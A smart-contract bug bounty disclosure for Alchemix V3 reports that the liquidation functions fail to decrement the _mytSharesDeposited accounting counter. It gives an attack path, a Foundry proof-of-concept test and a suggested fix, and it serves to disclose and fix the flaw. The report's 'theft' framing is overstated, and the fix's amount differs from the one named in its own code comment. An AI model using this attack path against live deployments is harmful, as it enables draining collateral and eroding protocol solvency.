Missing _mytSharesDeposited Decrement in Liquidation Paths Enables Theft of Unclaimed Yield and Protocol Insolvency
The liquidation functions in AlchemistV3 transfer MYT out of the contract without decrementing the internal _mytSharesDeposited counter, unlike repay and burn. This lets any caller trigger a liquidation and receive a fee in MYT from the victim's collateral, while the inflated TVL weakens future liquidation checks and can lead to protocol insolvency.
- Disclosed after under an hour
57559 sc high missing mytsharesdeposited decrement in liquidation paths enables theft of unclaimed yield and protocol insolvency
Submitted on Oct 27th 2025 at 09:19:23 UTC by @rshackin for Audit Comp | Alchemix V3
- Report ID: #57559
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol
- Impacts:
- Protocol insolvency
- Theft of unclaimed yield
Description
Summary :
In AlchemistV3's liquidation mechanism when MYT (Meta Yield Token) is transferred out during liquidation to pay the liquidator fee and send assets to the transmuter, the internal _mytSharesDeposited counter, which tracks total deposited MYT collateral and is used to compute protocol TVL, is not decremented. This creates two simultaneous impacts: (1) immediate theft of MYT from victim positions by arbitrary callers who trigger liquidation, and (2) persistent overstatement of protocol TVL that weakens subsequent liquidation enforcement, enabling bad debt accumulation toward insolvency.
Vulnerability Details :
- Affected Contract: AlchemistV3.sol
- Affected Functions:
_doLiquidation(),_liquidate()(repayment-only branch) - Root Cause: Inconsistent accounting between liquidation paths and other MYT outflow paths (repay/burn) (https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol?utm\\_source=immunefi#L852-L880)
When a liquidation occurs, AlchemistV3 executes the following MYT transfers:
- Sends
amountLiquidated - feeInYieldto the transmuter. - Sends
feeInYielddirectly tomsg.sender(the liquidator). However, unlikerepay()andburn()functions which correctly decrement_mytSharesDepositedwhen MYT leaves the contract, the liquidation paths omit this accounting step entirely.
Evidence: Correct implementation in repay() (lines ~455-490):
function repay(uint256 amount, uint256 recipientTokenId) public returns (uint256) {
// ... repayment logic ...
TokenUtils.safeTransfer(myt, protocolFeeReceiver, creditToYield * protocolFee / BPS);
_mytSharesDeposited -= creditToYield * protocolFee / BPS; // correct
// ...
}
While in _doLiquidation:
function _doLiquidation(uint256 accountId, uint256 collateralInUnderlying, uint256 repaidAmountInYield)
internal
returns (uint256 amountLiquidated, uint256 feeInYield, uint256 feeInUnderlying)
{
// ... calculations ...
amountLiquidated = convertDebtTokensToYield(liquidationAmount);
feeInYield = convertDebtTokensToYield(baseFee);
account.collateralBalance = account.collateralBalance > amountLiquidated
? account.collateralBalance - amountLiquidated : 0;
_subDebt(accountId, debtToBurn);
// MYT leaves contract here
TokenUtils.safeTransfer(myt, transmuter, amountLiquidated - feeInYield);
// Liquidator receives fee from victim's collateral
if (feeInYield > 0 && account.collateralBalance >= feeInYield) {
TokenUtils.safeTransfer(myt, msg.sender, feeInYield);
}
// Missing : _mytSharesDeposited -= (amountLiquidated + feeInYield);
// This should mirror the accounting in repay() and burn()
}
Impact Details :
Impact 1: Theft of Unclaimed Yield:
- Any external user can call
liquidate()on an under-collateralized position. - The caller receives
feeInYieldin MYT directly from the victim's collateral to their wallet. - This is a permissionless extraction of yield-bearing assets from the victim's position.
- The victim loses MYT collateral value equal to the liquidation fee without any compensation.
Impact 2: Protocol Insolvency:
_mytSharesDepositedis used in_getTotalUnderlyingValue()to calculate protocol-wide TVL.- TVL calculations feed into collateralization checks via
calculateLiquidation(). - After each liquidation,
_mytSharesDepositedoverstates actual MYT holdings by the amount that left. - This makes collateralization ratios appear healthier than reality.
- Over repeated exploitations, bad debt accumulates as the TVL/debt ratio diverges from reality.
- System-wide insolvency risk increases as actual collateral < recorded collateral.
The liquidation mechanism being permissionless is intentional. What is unintentional is the accounting inconsistency:
repay()decrements_mytSharesDepositedfor MYT outflowsburn()decrements_mytSharesDepositedfor MYT outflowswithdraw()decrements_mytSharesDepositedfor MYT outflowsliquidate()does NOT decrement_mytSharesDepositedfor MYT outflows
Attack Path:
- Attacker monitors for positions approaching liquidation threshold.
- When a position becomes eligible, attacker calls
liquidate(victimId). - Attacker receives
feeInYieldMYT to their address (immediate profit). - Protocol's
_mytSharesDepositedremains unchanged despite MYT leaving. - Future liquidation checks use inflated TVL, allowing risky positions to persist.
- Attacker repeats on multiple positions, compounding both theft and accounting drift.
- Protocol accumulates bad debt as actual collateral falls below liabilities.
Proof of Concept
Proof of Concept:
Step 1: Add helper to read private storage slot: In AlchemistV3.t.sol, add this constant and helper function near the top of the test contract:
// Storage slot 30 contains _mytSharesDeposited (verified via forge inspect)
bytes32 constant MYT_SHARES_SLOT = bytes32(uint256(30));
function _readMYTShares(address alchemist_) internal view returns (uint256) {
return uint256(vm.load(alchemist_, MYT_SHARES_SLOT));
}
Step 2: Add the PoC test:
function test_PoC_Liquidation_FeeFarming_TVLDrift_UsesExistingSymbols() external {
// 1) Seed MYT (vault shares) liquidity
vm.startPrank(someWhale);
IMockYieldToken(mockStrategyYieldToken).mint(whaleSupply, someWhale);
vm.stopPrank();
// 2) Victim: deposit + mint to create position
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), 200 ether);
alchemist.deposit(200 ether, address(0xbeef), 0);
uint256 victimId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
alchemist.mint(
victimId,
alchemist.totalValue(victimId) * FIXED_POINT_SCALAR / alchemist.minimumCollateralization(),
address(0xbeef)
);
vm.stopPrank();
// 3) Manipulate price to push victim under collateralization lower bound
uint256 initialVaultSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialVaultSupply);
uint256 modifiedVaultSupply = (initialVaultSupply * 4000 / 10_000) + initialVaultSupply; // +40%
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(modifiedVaultSupply);
// 4) Capture pre-liquidation state
vm.startPrank(externalUser);
uint256 liqMYTBefore = IERC20(address(vault)).balanceOf(externalUser);
uint256 alcMYTBefore = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 sharesBefore = _readMYTShares(address(alchemist));
// 5) Execute liquidation
(uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(victimId);
// 6) Capture post-liquidation state
uint256 liqMYTAfter = IERC20(address(vault)).balanceOf(externalUser);
uint256 alcMYTAfter = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 sharesAfter = _readMYTShares(address(alchemist));
vm.stopPrank();
// 7) Assertions proving the vulnerability
// Proves MYT left the contract (to transmuter + liquidator)
assertEq(alcMYTBefore - alcMYTAfter, assets + feeInYield);
// Proves internal TVL counter was NOT decremented (accounting bug)
assertEq(sharesAfter, sharesBefore);
// Proves liquidator received fee (theft)
if (feeInYield > 0) {
assertEq(liqMYTAfter - liqMYTBefore, feeInYield);
}
}
- Recommended Fix: Add in
_doLiquidation()after MYT transfers:
_mytSharesDeposited -= (amountLiquidated + repaidAmountInYield);
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the liquidation paths omit the _mytSharesDeposited decrement that other MYT outflow paths perform, causing inconsistent accounting.
Impact
An attacker can repeatedly trigger liquidations to steal MYT fees from victims, and the inflated TVL can allow bad debt to accumulate, potentially leading to protocol insolvency.
What the attacker needed
A position eligible for liquidation; attacker can call liquidate
The fix
The liquidation functions should decrement _mytSharesDeposited by the amount of MYT transferred out, mirroring repay and burn.
How it was found
- Seed MYT liquidity using a whale account.
- Create a victim position by depositing collateral and minting debt.
- Manipulate the mock token supply to push the victim under the collateralization threshold.
- Record pre-liquidation balances and the internal _mytSharesDeposited value.
- Call liquidate on the victim's position as an external user.
- Check that MYT left the contract, the internal counter is unchanged, and the liquidator received the fee.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract keeps an internal tally of how much collateral it holds. When collateral leaves during liquidation, the tally is not updated, so the contract thinks it still has more than it does. An attacker can call the public liquidation function to take a fee from the victim's collateral, and the wrong tally makes the protocol look safer than it is.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.